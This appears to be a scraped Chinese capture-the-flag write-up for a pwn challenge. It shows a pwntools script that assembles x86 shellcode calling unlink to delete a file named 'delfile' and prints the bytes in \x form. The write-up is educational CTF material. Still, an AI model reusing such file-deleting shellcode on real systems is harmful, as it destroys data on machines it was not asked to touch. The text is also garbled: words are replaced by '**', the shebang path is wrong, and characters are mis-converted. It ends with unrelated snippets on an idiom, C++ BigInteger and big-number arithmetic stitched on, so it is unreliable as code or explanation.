實驗吧 溢位 加減乘除

2021-08-21 13:35:38 字數 1524 閱讀 7064

這題是pwn的一道算是基礎題,直接對其解法進行講解。

這裡介紹乙個pwntools的工具,運用pwntools這個工具就不需要用c寫**,再gcc編譯,最後再objdump,所以這個很好的結合了python和彙編,接下來就是寫指令碼了:

#!/user/bin/python

from pwn import *

code = """.global _start

_start:

jmp test1

test2:

pop ebx

mov al, 0xa

int 0x80

mov al, 0x1

xor ebx, ebx

int 0x80

test1:

call test2

.string "delfile" """

context(arch='x86', os='linux', endian='little', word_size=32)

shellcode = asm(code).encode('hex')

re = ''

while len(shellcode):

re += r'\x'+shellcode[:2]

shellcode = shellcode[2:]

print re

還是一段一段開始看起:

code = """.global _start

_start:

jmp test1

test2:

pop ebx

mov al, 0xa

int 0x80

mov al, 0x1

xor ebx, ebx

int 0x80

test1:

call test2

.string "delfile" """

context(arch='x86', os='linux', endian='little', word_size=32)

這段便是pwntools的精華所在了,這裡可以直接執行組合語言(是不是很方便),這裡將彙編**複製進來就可以了;

shellcode = asm(code).encode('hex')

re = ''

while len(shellcode):

re += r'\x'+shellcode[:2]

shellcode = shellcode[2:]

print re

這段便是shell code的轉換和輸出了,這裡的第一句便是固定的格式,這個需要記憶,之後的格式與vb有點類似,就是迭代的思想,一步步來進行shellcode的轉換和輸出,這裡的迴圈便是需要將每一小段的shellcode前加入了\x,之後再輸出;

這裡需要注意再最後的flag的時候需要將最後的字串結束的標誌去除,也就是/x00去除。

中加減乘除 晉朝成語 加減乘除

讀 音 ji ji n ch ng ch 釋 義 算術的四則運算,借指事物的消長變化。出 自 明 王九思 端正好 次韻贈邵晉夫歸隱 端的是太平人物,誰想道命兒中加減乘除。例句1.他們的第一台機器可以加減乘除。2.通過教她不同的錢的面額幫你的孩子學會加減乘除。3.阿拉巴馬州和密西西比州有差不多一半的孩...

C BigInterger 加減乘除

c biginterger 加減乘除 include include include include include using namespace std class dividedbyzeroexception class biginteger biginteger.cpp const bigi...

大數加減乘除

include include include include includeusing namespace std compare比較函式 相等返回0,大於返回1,小於返回 1 int compare string str1,string str2 if cf 0 str char cf 0 st...